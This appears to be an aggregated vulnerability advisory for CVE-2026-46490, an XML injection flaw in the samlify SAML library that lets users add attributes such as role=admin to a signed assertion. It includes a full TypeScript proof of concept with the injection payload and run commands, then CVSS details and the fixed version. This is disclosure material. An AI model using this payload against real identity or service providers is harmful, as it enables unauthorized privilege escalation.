CVE-2026-46490

ADVISORY - github

Summary

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.tsreplaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:

<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>

Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept

  • poc/attribute_injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {
  context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
  attributes: [
    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
  ],
};

const idp = IdentityProvider({
  privateKey: readFileSync('./test/key/idp/privkey.pem'),
  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/idpmeta.xml'),
  loginResponseTemplate,
});

const sp = ServiceProvider({
  privateKey: readFileSync('./test/key/sp/privkey.pem'),
  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/spmeta.xml'),
});

const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
  const now = new Date();
  const fiveMinutesLater = new Date(now.getTime() + 300_000);
  const tvalue = {
    ID: _idp.entitySetting.generateID(),
    AssertionID: _idp.entitySetting.generateID(),
    Destination: _sp.entityMeta.getAssertionConsumerService('post'),
    Audience: _sp.entityMeta.getEntityID(),
    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
    NameID: user.email,
    Issuer: _idp.entityMeta.getEntityID(),
    IssueInstant: now.toISOString(),
    ConditionsNotBefore: now.toISOString(),
    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
    InResponseTo: 'request-id',
    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
    attrUserEmail: user.email,
    attrUserInjection: user.injection,
  };

  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};

async function main() {
  const injection = [
    'safe',
    '</saml:AttributeValue></saml:Attribute>',
    '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
    '</saml:Attribute>',
    '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
  ].join('');

  const user = { email: 'user@esaml2.com', injection };
  const { context: SAMLResponse } = await idp.createLoginResponse(
    sp,
    { extract: { request: { id: 'request-id' } } },
    'post',
    user,
    buildTemplate(idp, sp, 'post', user)
  );

  const xml = util.base64Decode(SAMLResponse, true).toString();
  console.log('--- Generated XML snippet ---');
  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));

  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });

  console.log('Parsed attributes:', extract.attributes);
}

main().catch(err => {
  console.error('PoC failed:', err?.message || err);
  process.exitCode = 1;
});

Run:

  npm install --legacy-peer-deps
  npx ts-node poc/attribute_injection.ts

Impact

A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.

EPSS Score: 0.00383 (0.302)

Common Weakness Enumeration (CWE)

ADVISORY - nist

XML Injection (aka Blind XPath Injection)

ADVISORY - github

XML Injection (aka Blind XPath Injection)


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.7high
PackageTypeOS NameOS VersionAffected RangesFix Versions
samlifynpm--<2.13.02.13.0

CVSS:4 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.

The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.

There is no loss of confidentiality within the Vulnerable System.

There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.

There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.

There is no impact to availability within the Vulnerable System.

There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.8

EXPLOITS FOUND
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.7high

minimos

CREATED

UPDATED

ADVISORY ID

MINI-23f5-3fxq-p65m

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

UPDATED

ADVISORY ID

MINI-9mcc-3mf4-rghp

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

UPDATED

ADVISORY ID

MINI-hr54-82fj-cxr6

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY